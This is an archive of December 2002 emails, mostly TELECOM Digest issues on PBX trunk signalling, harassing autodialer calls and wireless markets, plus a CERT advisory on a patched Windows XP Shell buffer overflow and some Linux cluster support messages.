Griffiths, who was actually a client of Universal's law firm; they simply wanted to establish the chain between Sony and an actual instance of alleged infringement. ------------------------------ From: Joseph Subject: Re: New Weblink of Interest Date: Thu, 19 Dec 2002 15:45:17 -0800 Organization: Posted via Supernews, http://www.supernews.com Reply-To: joeofseattle@yahoo.com On Thu, 19 Dec 2002 08:47:47 -0800, Joseph wrote: > While there's some very good information in the 'book' it does not > appear on the surface that it is not entirely unbiased. > [TELECOM Digest Editor's Note: Did you really mean those > double-negatives which appear in your final sentence? 'does not > appear' 'not entirely unbiased'? But I think your point is a good > one. Maybe *I* should write a detailed unbiased report on LD > service. PAT] Should have been ""While there's some very good information in the 'book' it *does* appear on the surface that it is not entirely unbiased."" Maybe you *should* write a detailed ""unbiased"" report on LD service. I know there have been several places and organizations that have attempted to help make informed decisions, but I've found that even they do have some bias which can be influenced by sponsorships and the like. One in particular that I've used to help untangle quoted or advertised rates as opposed to what the real costs are is abelltolls which while somewhat unbiased still don't list every carrier everywhere and there's some influence in that some of the carriers listed do ""help"" with the cost of running the service. I think it's a gargantuan task to do comparisonson *everything* as there's so much of everything to make a comparison to. Same goes for comparisons of cellular/mobile service. I've been to several comparison sites and generally they won't have everything listed that's available. They may have the most popular things listed or they may only list those carriers that they have a vested interest in promoting. My general feeling is that any sites that do comparisons whether it's LD rates or mobile service won't be as unbiased if they themselves are part of the business that they are trying to compare or promote. Replies are seldom read. Please reply in the group. [TELECOM Digest Editor's Note: Maybe I will do that, in the form of a large collection of messages from you readers. I could not begin to do it as a solo project without some assistance; i.e. financial help; i.e. the impartiality gets on shaky grounds. But if I had four or five hundred messages on various carriers, the programs they offer, etc and organized them according to carrier; type of offering; cost and other factors then it would cost me very litle also. It might be a very useful file for netizens. I could put it all on a web site and offer it for free as a truly impartial guide. Ideas on this, anyone? PAT] ------------------------------ From: Herb Stein Subject: Re: Are All 900 Number Providers Hype Artists? Date: Thu, 19 Dec 2002 18:59:51 -0600 John Higdon wrote in message news:telecom22.193.8@telecom-digest.org: > In article , > nobleGOODDOGgeorges@earthlink.net (J Bass) wrote: >> Are there any legitimate 900 number providers? >> Who are they? >> A google search turned up droves of outfits with hucksteresque >> pitches. > You were looking at the bottom feeders: folks who set up 900 number > bureaus and then look for suckers to lose their shirts in the 900 > information providing business. >> Where do software companies go, for example, when they are setting up >> 900 tech support lines, etc? > They go straight to any number of IXCs who offer 900 service. This > service is provided on hicap directly to the companies using it, who > also have to arrange and manage their own billing arrangements with the > LECs or through the IXC itself. > Most of the LECs also offer LATA-wide 900 services, as SBC does in > California. > John Higdon | Email Address Valid | SF: +1 415 428-COWS > +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 > [TELECOM Digest Editor's Note: Would you please provide some contact > names and phone numbers for the people at the IXCs who offer 900 > number service? As the man said in the original message, everyone > *he* has spoken to denies any knowledge of them. How about some > actual contact names and numbers? PAT] John! I agree, but at this point we are tilting against windmills. We lost this one. Let's fight the next one a little smarter. Herb Stein The Herb Stein Group www.herbstein.com herb@herbstein.com 314 952-4601 ------------------------------ From: Herb Stein Subject: Re: Lucent/AT&T Four Line Analog Phone Won't Release Hold Date: Thu, 19 Dec 2002 19:04:16 -0600 Frank Winans wrote in message news:telecom22.194.3@telecom-digest.org: > The most basic feature of multiline phones is 'hold'. I can count on > trouble with this after any company move :-( We use analog four-line > phones plus one old Panasonic three-line. Turns out only the > Panasonic senses the additional voltage drop when another extension > picks up, responding with a release of its own 'hold' load on that > line. The Lucent 854 phones, though analog, employ digital status > information, sent _only_ on the first line! We left line one > disconnected since the desks in question only had three telnums avail. > To that long long ago poster; sorry about the delay on this. Hey! I use 854's and am real happy with them. The DID feature is the best. Herb Stein The Herb Stein Group www.herbstein.com herb@herbstein.com 314 952-4601 ------------------------------ Date: Thu, 19 Dec 2002 08:18:28 -0600 From: Neal McLain Reply-To: nmclain@annsgarden.com Organization: Ann's Garden Subject: RE: Ground Start Lines I wrote: > PBX trunks are typically ground-start to prevent ""glare,"" the > situation that would arise if, say, a motel guest dialed 9 and > found herself connected to an incoming call. And PAT Wrote: > [TELECOM Digest Editor's Note: How does ground start help prevent > glare? If your outbound seizure of a trunk line (whether by loop > start or ground start) occurs precisely at the same instant as my > inbound seizure (not unlikely in the case of a heavily trafficed > PBX) then we will still glare at each other. Normally glare is > prevented by putting outbound trunks in a different place than the > inbound trunks. If the switchboard only has one group of trunks to > be used for both inbound and outbound then inbound calls arrive in > hunt sequence, i.e. your listed directory number is xxx-1000, then > incoming calls arrive on 1000, 1001, 1002, 1003, etc; all callers > dialing 1000 and hunting upward. Let's say your group of lines runs > from 1000 through 1019, to give you an even twenty lines. The > outbound traffic then seizes in order 1019, 1018, 1017, 1016, etc. > Now glare only becomes an unlikely possibility when the two streams > meet in the middle, backwards at 1010 and 1009 and upwards at the > same point, and that would likely only occur during the busy hours. > That is how you reduce glare; you can only eliminate it totally if > you have a place for outbound only trunks totally separate ... By the time I got the following response written, two other readers (Richard D G Cox and Henry C. Henhouse) had already posted responses to PAT's question. Their points are well taken, particularly in regard to two issues I hadn't mentioned: call-clearing and bypassing toll-recording devices. Nevertheless, here's my answer to PAT's original question ... First, some background information: When a PBX trunk is idle, the following DC voltages are present: LOOP START: Tip = ground Ring = -48 volts (approximately) GROUND START: Tip = open (or at least not grounded) Ring = -48 volts (approximately) DC signaling between the CO and the PBX over a ground-start trunk works as follows: - PBX SEIZES TRUNK FIRST: The PBX tests each trunk until it finds an idle one (ungrounded tip), then grounds the ring lead. The CO senses the ring ground and immediately grounds the tip lead. The PBX senses the tip ground, releases the ring ground, and closes the loop. The CO senses current flow and returns dialtone, but it maintains the tip ground for the duration of the call. - CO SEIZES TRUNK FIRST: The CO tests each trunk until it finds an idle one (ungrounded ring), then immediately grounds the tip. It also applies ringing voltage, either concurrently with tip ground or shortly thereafter. The PBX senses the ringing voltage, and closes the loop, answering the call. The CO maintains tip ground for the duration of the call. Note that in either of these scenarios, the CO grounds the tip immediately after *either end* seizes the trunk, and maintains it for the duration of the call (although, according to Harry Newton, that ""ground"" can actually be separated from true ground by as much as 550 ohms). Nevertheless, the ungrounded tip condition exists only when the trunk is idle; during call setup and the call itself, tip is grounded. Now consider what happens when the PBX goes looking for an idle trunk for an outgoing call: - LOOP-START: Because the tips are always grounded, the PBX has no way to identify an about-to-be-busy trunk (a trunk that the CO has already seized, but hasn't yet started ringing), so the PBX may seize it too. Hence, glare. - GROUND-START: The PBX can instantly identify an about-to-be- busy trunk by testing for tip ground. It can test each trunk in sequence, and skip past the busy ones until it finds a trunk with ungrounded tip. All that said, there still may be a possibility of glare. Under the best of circumstances, it still takes a finite amount of time for the switch at either end of the line to sense that a ground has been asserted at the other end. According to one source (Clare, Inc.), if this interval exceeds 100 milliseconds, glare may still occur: . So it still may be a good idea to separate incoming trunks from outgoing trunks, as PAT suggested. Many modern PBXs have a further line of defense against glare: they absorb the extension-user's dial string, then outpulse the call according to some internal algorithm that may or may not utilize the same string that the user originally entered. A common example: in most motels and hotels, dialing 9 (or 8 or 6 or whatever) doesn't actually connect the guest to an outside line; it just tells the PBX to process what follows as an outside call. The PBX then decides how to process the call, presumably using a ground-start trunk for the purpose. In any case, all of this assumes that the total number of trunks is sufficient to handle the peak load. If my experience is any guide, lots of mid-sized mid-priced hotels/motels don't have enough trunks to satisfy peak evening calling load. The Holiday Inn Express in LaPorte Indiana stands out in mind as the worst offender I've ever encountered. If dialing 9 from that hotel actually connected a guest to a loop-start trunk, just about every incoming call would end up glaring at a frustrated guest trying to get an outside line. Even the payphones in the lobby were jammed. Neal McLain nmclain@annsgarden.com ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. You may reprint articles in some other media on an occasional basis, but please attribute my work and that of the original author. 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All opinions expressed herein are deemed to be those of the author. Any organizations listed are for identification purposes only and messages should not be considered any official expression by the organization. End of TELECOM Digest V22 #200 ******************************",0,1 CERT Advisory ,cert-advisory@cert.org,"Thu, 19 Dec 2002 14:12:38 -0500",CERT Advisory CA-2002-37 Buffer Overflow in Microsoft Windows Shell," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-37 Buffer Overflow in Microsoft Windows Shell Original release date: December 19, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * All versions of Microsoft Windows XP Overview A buffer overflow vulnerability exists in the Microsoft Windows Shell. An attacker can exploit this vulnerability by enticing a victim to read a malicious email message, visit a malicious web page, or browse to a folder containing a malicious .MP3 or .WMA file. The attacker can then execute arbitrary code with the privileges of the victim. I. Description The Microsoft Windows Shell provides the basic human-computer interface for Windows systems. Browsing local and remote folders, running wizards, and performing configuration tasks are examples of operations utilizing the Windows Shell. Microsoft describes the Windows Shell as follows: The Windows Shell is responsible for providing the basic framework of the Windows user interface experience. It is most familiar to users as the Windows Desktop, but also provides a variety of other functions to help define the user's computing session, including organizing files and folders, and providing the means to start applications. A vulnerability exists in the Windows Shell function used to extract attribute information from audio files. This function is invoked automatically when a user browses to a folder containing .MP3 or .WMA files. Further information about this vulnerability can be found in the following documents: Foundstone Research Labs Advisory FS2002-11 Microsoft Security Bulletin MS02-072 CERT/CC Vulnerability Note VU#591890 A CVE candidate (CAN-2002-1327) has been assigned as well. II. Impact An attacker can either execute arbitrary code (which would run with the privileges of the victim) or crash the Windows Shell. III. Solution Apply a patch from your vendor Appendix A contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Please contact your vendor directly. Note that Microsoft is actively deploying the patch for this vulnerability via Windows Update. Appendix A. - Vendor Information Microsoft Corporation Please see http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS02-072.asp. Appendix B. - References 1. Foundstone Research Labs Advisory FS2002-11 - http://www.foundstone.com/knowledge/randd-advisories-display.html?id=339 2. Microsoft Security Bulletin MS02-072 - http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS02-072.asp 3. CERT/CC Vulnerability Note VU#591890 - http://www.kb.cert.org/vuls/id/591890 4. CVE CAN-2002-1327 - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1327 _________________________________________________________________ Foundstone Research Labs discovered this vulnerability. _________________________________________________________________ Author: Ian A. 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G'day, sjames On Thu, 19 Dec 2002, gilfoyle wrote: > Hi Steven, > > The Richmond cluster has been running pretty reliably for > the last couple of weeks so, of course, I have to go and > try something new. The problem is the following. > > 1. The C++ codes we write for Root are usually 'interpreted' > with a program called CINT. CINT is a convenient interactive > environment, but slow. > > 2. To speed things you can recompile and link Root with your > own personal routines that should now run about 10 times faster. > This creates a new executable with your own local classes. > > 3. I have done this on pscm1 and the code compiles and links, > but when I run it on the master I get the following message. > My version of Root is called gpg_linux. > > pscm1:root> gpg_linux > gpg_linux: error while loading shared libraries: libGui.so: cannot open > shared object file: No such file or directory > > The shared library libGui.so is in the area $ROOTSYS/lib as it is > supposed to be and the environment variable LD_LIBRARY_PATH has > $ROOTSYS/lib in it as prescribed in the Root documentation. This > problem is reminiscent of the problem we had when we could not > run root on the slave nodes because the Root libraries were not > in the standard place. Where is that standard place? Could this > be related? I can run the standard root (in $ROOTSYS/bin) with > not trouble. $ROOTSYS is set to /usr/local/PRO. Any help you > can give would be appreciated. > > thanks-in-advance, > > jerry > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 Markus Geiger ,gilfoyle ,"Mon, 16 Dec 2002 21:37:17 -0500",Re: documentation and more computers,"Hi Gerry, I'm very happy to hear that everything is going so good with your cluster. To answer both of your questions, I have attached documentation for Nimbus in a tar.gz file and a quote in pdf format. The quote is for three additional nodes for your cluster. I was able to get you some deep discounts for the good pr you provided us earlier this month. Please give me a call to discuss the quote. In the mean time, have a happy holiday season and I am looking forward to talking to you soon again. With best regards, Markus Geiger On Thursday 19 December 2002 09:09 pm, you wrote: > Hi Markus, > > We've running the Richmond cluster pretty reliably for the > last couple of weeks and things look pretty good. I had a > couple of questions. > > 1. What documentation can we get for the latest software? Are there > manuals or webpages for Nimbus, Scyld under RedHat 7.2, etc? > > 2. I have received some money from the University to expand the > cluster a little bit. We want to add three new nodes to the > cluster. Hopefully, we can add more later with money from DOE. > What are the latest, greatest cluster nodes available and what > do they cost? We have about $5k to spend. > > thanks-in-advance, > > jerry -- ----------------------------------------------Markus Geiger, linux labs LinuxBIOS Cluster Solutions 230 peachtree st nw ste 2705 High-Speed Colocation and Hosting atlanta.ga.us 30303 Linux Hardware, Development & Support http://www.linuxlabs.com Since 1995 direct 404.526.6072 fax 404.577.7743 ----------------------------------------------------------------------- Ask us about Global Shared Memory Clusters! ",0,1 editor@telecom-digest.org,ptownson,"Fri, 20 Dec 2002 13:44:22 -0500",TELECOM Digest V22 #201,"TELECOM Digest Fri, 20 Dec 2002 13:43:00 EST Volume 22 : Issue 201 Inside This Issue: Editor: Patrick A. Townson How to Stop Telephone Harrasment by IBM? (flogi) Nokia vs. Microsoft (Chris Kantarjiev) Re: Celluar Phones Question (Michael D. Sullivan) Re: Celluar Phones Question (Ken Wheatley) Re: Query About Pulse Dialing (Hank Fung) Re: New Weblink of Interest (jt) Re: (Local) Gov't Groups Using ""*.gov"", was Re: Ten TLD's (Pete Weiss) Re: Microsoft to Bump Apple Into Sync-Hole? (John Higdon) RE: National Branding (Paul A Lee) Re: National Branding (Ed Ellers) Re: National Branding (Barry Margolin) Re: The Farce of National Branding (Ron Chapman) Re: SBC Name - was Re: The Farce of National Branding (Steven J. Sobol) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Thu, 19 Dec 2002 21:59:16 -0800 From: flogi Subject: How to Stop Telephone Harrasment by IBM? [TELECOM Digest Editor's Note: Here is a **very disturbing** report to start the day's news. This occassionally happens where a large company gets off in an orbit of their own, colliding with the rest of the world, and no one/nothing seems able to stop them. The last time I reported something like this, it was when First National Bank of Chicago was harassing a family in Germany with unwanted fax phone calls, and nothing would stop the bank from making their calls until (the old) Illinois Bell Telephone Company literally went to the bank's premises in downtown Chicago prepared to disconnect the phone line in question and carry away the fax machine. The story has been told many times; now today IBM is the culprit. Let's see how long it takes IBM to wise up or stop the harassment; if they ever do. PAT] =========================== Hello, I'm looking for suggestions ( non-malicious please) to get the harrasment that has been confirmed to be coming from an IBM site to stop. I am tempted to hook up my computer to the line and see if I can get a terminal session. It's like reverse hacking, instead of me trying to get to them, they just call me and open a terminal session. However, I really just want the calls to stop. Any ideas? Any legal contacts in California that might be able to help me pursue this? And by pursue -- I mean give them a deterrent that will make IBM listen ($$$) and one that will make me welcome a few more calls -- so I can keep on suing them. Thanks, JM <> I'll provide a little more detail: The calls started in October and come up on my caller ID as ""out of area"" with no phone number attached. I had this happen before when I first got the phone number, it appears that my number was an old billing number for Arch Wireless. Users of the Arch wireless service would have a computer call in their billing records via modem to my phone number. So I get 30-45 calls daily from an unknown number. I had Pacific Bell put a trace on the call and they contacted the company responsible for the calls. They would not release the company name to me directly but would only do so with a police report. The company refused to return Pacific Bell's phone calls so I opened the police report. The officer was able to get the number that was showing up on Pac Bell's caller ID and also the name of the company (IBM). The officer contacted IBM at the site where the calls were coming from. They asked for one week to investigate and resolve the situation. I waited two weeks. The timeframe is now mid-November. I followed up with the police officer and he called his contact at IBM. His contact disputed the information traced by Pacific Bell to his number and said that we were wrong. I then reactivated the trace and explained this to Pacific Bell. Pacific Bell confirmed that there is no way that the trace is incorrect and that they have re-confirmed that the calls are coming from IBM. I have logged over 300 phone calls with dates, and times. I still get 30-45 calls daily. My local police officer has not gotten any additional information from IBM. He has provided them with the updated information and the confirmation that this is coming from their telephone number. They have not responded to him. I have asked that he refer this case to the District Attorney in my area so that this will become a criminal harassment case. While this is still a misdemeanor, it is also still harassment. I am also considering pursuing this in civil court. The calls come at all hours of the day and night. It is easy enough to ignore the calls during the day but at 2:00am, I must answer the phone each time it rings because it could be an emergency call from someone that I know. In civil court I believe I can obtain punitive damages since IBM has had the opportunity to resolve this and refused to do so. I have contacted an attorney about a civil case and we are investigating who would be the defendant in this matter. I am also considering small claims court but need to confirm jurisdiction. I'm open to hearing about attorneys that have experience in this area as well as other possible solutions. I have had my days and nights interrupted by this for almost 90 days and do feel some restitution is in order. Please feel free to pass this message along to the IBM privacy officer. -----Original Message----- From: Beth Givens [mailto:bgivens@privacyrights.org] Sent: Thursday, December 19, 2002 2:47 PM Subject: Re: Question about harassing telephone calls from IBM I'm very sorry for the delay in responding. I find this most disconcerting. Do you yourself have the phone number that was identified by the phone company? I am not at the office right now, but I'd like to contact IBM's privacy officer about this. In the meantime, you might want to do the same. If you go to their web site, you can click on their privacy policy, and I think you can send an email msg to the privacy officer. Do you know why IBM is calling you? Do they leave any messages? Also, I'm pretty sure IBM is a member of TRUSTe. You should file a complaint about them with www.truste.org and see if they can help you. Beth Givens At 04:52 PM 12/6/2002 -0500, you wrote: > Hi, > I am receiving about 40 telephone calls per day by a computer > auto-dialer at IBM. These calls come in at all hours of the day and > night; 2am, 6am, 9pm etc. I have filed a complaint with Pacific Bell > and they have traced the calls to one number at IBM. > I have filed a complaint with the Mountain View Police Department and they > have opened a case and contacted IBM. IBM refuses to correct this. > Do you think I have any other recourse? > I've considered small claims court but don't know who to file a suit > against. Any other ideas? I'm getting desperate here. Privacy Rights Clearinghouse 3100 - 5th Ave., Suite B San Diego, CA 92103 Phone: (619) 298-3396 Fax: (619) 298-5681 Email: prc@privacyrights.org Web: www.privacyrights.org [TELECOM Digest Editor's Note: How typical ... corporation denies they are idiots and causing harassment; police and others who *could* take agressive action to stop it do not really comprehend what is happening so just shrug their shoulders and walk away from it. Corporation then continues harassment unmolested. In the case at First National Bank of Chicago (now they have changed their brand name a couple times since) had these German people in tears. Over and over, all night long for a month or two, the calls were coming in from the USA. This was back before the system could automatically trace calls and those things had to be done manually. After repeated complaints of 'phone ringing then dead silence when we answered' from the people, Bundespost finally got AT&T on the wire and asked them to investigate. It was traced back to Illinois Bell, who then tracked it back to the bank, a full month or more after the calls were going on nightly. The bank totally ignored requests from Illinois Bell to fix the problem. Finally a security rep went from Bell over to the bank with a legal notice and an ultimatum; 'we are turning off your phones at (whatever time was permitted under the law) because you will not correct this problem.' The notice was given by telco to the Vice President-Telecom for the bank who went downstairs with a vengeance to correct the problem himself. After a bit of rudeness by him, the problem got corrected. And the idiots have such short term memory problems; a month or so later when the bank got a phone bill with page after page after page after page of one minute phone calls to Germany at hours in the middle of the night when the bank was closed, they complained 'Bell really screwed up our phone bill this month' and wanted credit for all those calls. I finally had to complain to the State Commission here in Kansas about the way Southwestern Bell's alleged Privacy Manager does not work (the one they charge people BIG $$ for without actually providing any service for the money.) And guess who *my* culprit was? A divison of *AT&T* who was getting around caller-ID by filling the screen with 'name unavailable' and ten zeros for a phone number. Do any of you young'uns remember when the phone company used to actually take seriously their obligations toward their customer's privacy and not just mock and humor the customers with things like Privacy Manager? Good luck to our latest victim from IBM. Let's see how long it takes to get them straightened out. I wonder if he has considered putting 'privacy manager' (snicker) on his phone line or call blocking? PAT] ------------------------------ Date: Thu, 19 Dec 2002 21:05:02 PST From: Chris Kantarjiev Subject: Nokia vs. Microsoft A few weeks back, Monty posted an article from the Economist speculating whether Nokia or Microsoft would control the evolution of handheld computing. I wrote the attached to the editors at the Economist; they are apparently not going to run it, and seems a shame to waste a good rant: Gentlemen: I read with great interest your article ""Nokia vs Microsoft"". I believe (and have for some time) that it is not merely an issue of two companies competing for the same dollars, but two modes of computer interaction trying to find the right balance. Most mobile phone users would not describe themselves of interacting with a computer system, but that is exactly what they are doing - the handset is but a terminal attached to a very large distributed system. In the early 1990s, researchers at the Xerox Palo Alto Research Center, led by Mark Weiser, put forth the idea of ""ubiquitous computing"" -- see where a key element of the model was that mobile terminals are not standalone, but are in communication with one another and a large system behind them. The mobile phone-as-computer is an excellent example of what Weiser called an ""invisible system"". Microsoft's (and those of other manufacturers who are pushing into the handheld space) systems are anything but invisible. They are, largely, based on the idea that the computer must be self-contained, standalone, out of touch. They also have a tendency to try to take applications that were developed for large machines with large displays and large input devices and squash them down into an environment that has a minimalist processor, simplistic display, and barely adequate input. No wonder that ""convergence"" devices have been such dismal failures! Your discussion omits completely a very important set of players: the wireless carriers themselves. They control the technology, network access, billing, technology, content and user experience in a way that Microsoft (and large ISPs) can only dream of. The past several years have brought an effort by US mobile carriers to imitate the success of SMS in the GSM world, without much success. There are many reasons for this - carrier implementation missteps aside - but I believe that in large part it is because the financial models and user expectations that form the background of use are completely different. In the US, network consumers were raised on flat rate fixed-wire phone service. This carried over to web access and wireless rate plans: consumers are accustomed to flat fee unlimited access web browsing from home and work and generous billing plans that provide a surfeit of ""free"" talk minutes - so many minutes that most consumers can't use them all. AOL's current advertising scheme offers so many free minutes that you can't use them up in the number of days they remain valid. Voice plans usually begin with a ""bucket"" of 200 minutes/month for US$20. The always-on Internet access in the US has taught users to expect high-quality, high-bandwidth content delivery. Communication is via instant messaging, with a constant view into the reachability and status of their IM ""buddies"". On the other hand, until recently, US mobile phone users could only send SMS messages to users on their same wireless network. Carriers are now counting on SMS to increase their revenue growth, but don't make a compelling case for the functionality or cost. They have broken the longstanding financial model by introducing usage-sensitive pricing: SMS messages typically cost US$0.10, often both incoming and outgoing. Why would users want to pay per-message fees to thumb type, when they can just make a voice call for ""free""? The rest of the world has grown up with usage sensitive pricing for fixed telephone usage, and web and wireless pricing continues to follow that model. Thus, the rest of the world is not so well connected to the Internet (if at all), doesn't have flat rate Internet access, and pays for every minute of talk. In this model, SMS makes financial sense: an SMS costs less than 1/4 of a voice minute, and both minutes and messages are pay-as-you-go. Users are accustomed to small displays and small devices and wonder why they should be expected to carry something too bulky to fit in a pocket. Carriers were happy to have SMS messages use up the idle capacity of their networks. To put it bluntly, the wireless experience in the US is that of trying to cram a full PC into a portable phone; in the rest of the world, it has been a slow expansion of functionality on devices that consumers are carrying anyway. Nokia (and other mobile phone technologists) have continued to build systems that are based on communication; they slowly add more functionality (such as SMS, and now MMS) to those systems. Third parties have built very powerful, if deceptively simple, applications on top of these systems. Users of the GSM mobile telephony system have used these two-way systems for many years; the success and growth of SMS messaging is a testament to their utility. Microsoft (and other computer technologists) have built, and continue to build, systems that are meant to stand alone. The Microsoft Smartphone platform is no different - it just happens to have a phone and Internet connection in it. I don't really believe that the ability to browse the web will make it that much more succesful - it didn't work for WAP, did it? I believe that the ""one, true way"" lies somewhere between - but closer to well-designed applications that involve personalized communication with a smart backend system, rather than more and more powerful devices that are carried in one's pocket. My personal bet is on Nokia; they don't have the baggage to jettison that Microsoft do. The mobile carriers still have the opportunity to foul it up for both sides - especially by trying to equate the pricing of data bytes with voice minutes, to maximize their short-term profits at the expense of user experience and content/application availability. Trying to meet fixed-line expectations with (expensive) wireless bandwidth is a recipe for disaster. (I have written about this at length in various guises; one readily accessible though not very polished version can be found at ) Sincerely, Christopher Kantarjiev ------------------------------ From: Michael D. Sullivan Subject: Re: Celluar Phones Question Date: Fri, 20 Dec 2002 06:21:51 GMT [This followup was posted to comp.dcom.telecom and a copy was sent to the cited author.] On Thu, 19 Dec 2002 11:27:45 -0800, John J. Trombetti posted the following to comp.dcom.telecom: > Dear Sir, > I am writing to see if you can tell me how many celluar phones are > active in the United States; or where I may find such data? > I do not need specifics, but a general number, even a rational estimate > would work. I am putting together a project and it will be useable with > celluar phones and I really don't know ""how"" many users there are out > there? The current number, according to CTIA's website at www.wow-com.com, is 137,458,902 (includes cellular, PCS, and ESMR, which operate in different frequency bands but are all commonly referred to as cellular). Michael D. Sullivan Bethesda, MD, USA (delete NOSPAM from address to mail me) ------------------------------ From: Ken Wheatley Subject: Re: Celluar Phones Question Date: Fri, 20 Dec 2002 09:49:35 -0000 Organization: Unisys - Roseville, MN John J. Trombetti wrote in message news:telecom22.200.5@telecom-digest.org: > I am writing to see if you can tell me how many celluar phones are > active in the United States; or where I may find such data? > I do not need specifics, but a general number, even a rational estimate > would work. I am putting together a project and it will be useable with > celluar phones and I really don't know ""how"" many users there are out > there? According to http://www.e-searchwireless.com (subsciption necessary) there were 129,375,600 cellphones active in the US last month. Penetration at end of 2001 was under 46% - still very low by the standards of many other industrialised economies. Finland had 83% penetration (although I'm not sure if that figure was before or after the industry adjusted the published subscriber figiures to make their ARPU look better). ------------------------------ From: fungus@OCF.Berkeley.EDU (Hank Fung) Subject: Re: Query About Pulse Dialing Date: Fri, 20 Dec 2002 10:26:44 UTC Organization: Univ. of California Berkeley Open Computing Facility In article , Ed Ellers wrote: > John Higdon wrote: >> Pulse dialing is rarely used in the US. > More often than you might think ... especially by people who *do* have > Touch-Tone provisioned on their line but don't realize that they need > to change a switch setting on their phone to use it. Aren't there still some phone companies that charge for the ""privilege"" of using touch tone dialing (or ""touch calling"" as it was called by GTE)? What usually happens is that these cheapskates will then switch the phone to tone when they need to access a voice mail or interactive response system. Hank Fung fungus@ocf.berkeley.edu Go Bears! http://www.ocf.berkeley.edu/~fungus [TELECOM Digest Editor's Note: You call someone a 'cheapskate' because they refuse to let telco rip them off for a service which is more effecient to use, costs telco less in switch time? PAT] ------------------------------ From: jt Subject: Re: New Weblink of Interest Date: Fri, 20 Dec 2002 08:35:44 -0500 Organization: WorldCom Canada Ltd. News Reader Service TELECOM Digest Editor noted: > [TELECOM Digest Editor's Note: Maybe I will do that, in the form of a > large collection of messages from you readers. I could not begin to > do it as a solo project without some assistance; i.e. financial help; > i.e. the impartiality gets on shaky grounds. But if I had four or five > hundred messages on various carriers, the programs they offer, etc and > organized them according to carrier; type of offering; cost and other > factors then it would cost me very litle also. It might be a very > useful file for netizens. I could put it all on a web site and offer > it for free as a truly impartial guide. Ideas on this, anyone? PAT] Pat, make a form. There are so many plans and ways of describing them that you must have a standard way of setting out the criteria. Maybe some kind of spreadsheet that you can import and interested parties could get the compilation -- would let them sort out what THEY thought was important. P.S. Don't forget to put out your milk and cookies next week. The way the world seems to be going, that big guy may need to eat well. [TELECOM Digest Editor's Note: Wouldn't it be a real riot if Sodomy Insane chose Christmas Eve or Christmas Day to set off a massive nerve gas bomb in the USA? 'Here you go, you Satanic Devils! Have a Merry holiday compliments of the middle-east people. Eat and breath this gas we are sending you! Remember to put the 'X' back in X Mass.' PAT] ------------------------------ From: Pete Weiss Subject: Re: (Local) Gov't Groups Using ""*.gov"", was Re: Ten TLD's Date: Fri, 20 Dec 2002 11:00:44 -0500 Organization: Penn State University -- Administrative Information Services And my personal favorite for a .GOV site that is a state agency: http://www.attorneygeneral.gov/press/pr.cfm ------------------------------ From: John Higdon Subject: Re: Microsoft to bump Apple into sync-hole? Organization: Green Hills and Cows Date: Fri, 20 Dec 2002 08:09:58 -0800 In article , Monty Solomon wrote: > By Joe Wilcox > Staff Writer, CNET News.com > Apple Computer is refining a strategy for connecting cell phones and > other portable devices to its Macintosh systems in an effort to boost > sales. > But a rival endeavor from Microsoft, expected to be unveiled early > next year, could dim the company's hopes, analysts said. That's the history of Microsoft. Let someone else pioneer a product or service, wait and see if it turns out to be anything, and then muscle in on it with a crippled, inferior version. It is very good to be Microsoft-free in my computing these days! John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: Paul A Lee Subject: Re: National Branding Date: Fri, 20 Dec 2002 11:32:17 -0500 In TELECOM Digest V22 #199, John Higdon wrote (in part): > Obviously, you haven't examined [GE and Whirlpool washers and dryers] > very closely. I have. They not only use idential parts, the chassis, > panels, knobs, and trim were obviously stamped from the same dies. Okay ... I said my piece and gave my examples a while back, when this thread was new. Then, I let it drop when it became apparent to me that John's position is more philosophical than factual. I appreciate what he's saying, and there are many instances where it's true -- perhaps more often than not. I'm chiming back in, though, because I'm pretty certain John has his facts wrong on this point (and others, perhaps ...?). I'll concede that GE and Hotpoint major appliances are the same basic boxes, and that Whirlpool, some KitchenAid, and most Kenmore major appliances are the same boxes. GE and Whirlpool, though, are two distinctly different lines. Both use some components (timers, motors, electronics, solenoids, and maybe even some trim parts) that come from the same manufacturers and may even be identical. However, cabinets, transmissions, and other major ""brand-identity"" components are different on all examples I've seen. John may have ""examined"" them, but I've repaired a number of both GE and Whirlpool (including Kenmore) appliances, and the design and assembly techniques are distinct. Since I'm not in the appliance industry, I can't be absolutely certain that there's no crossover. I'd concede this point if John (or someone else) can give me an example of one major appliance -- one Whirlpool model number and one GE model number -- that are identifiable as the same basic machine. Paul A Lee *palee*at*dca*dot*net* ------------------------------ From: Ed Ellers Subject: Re: National Branding Date: Fri, 20 Dec 2002 05:43:42 -0500 John Higdon wrote: > Well, now you have. Which models of washers or dryers (or for that matter ranges, refrigerators or freezers) are imported into the U.S. from overseas? > Obviously, you haven't examined them very closely. I have. They not > only use idential parts, the 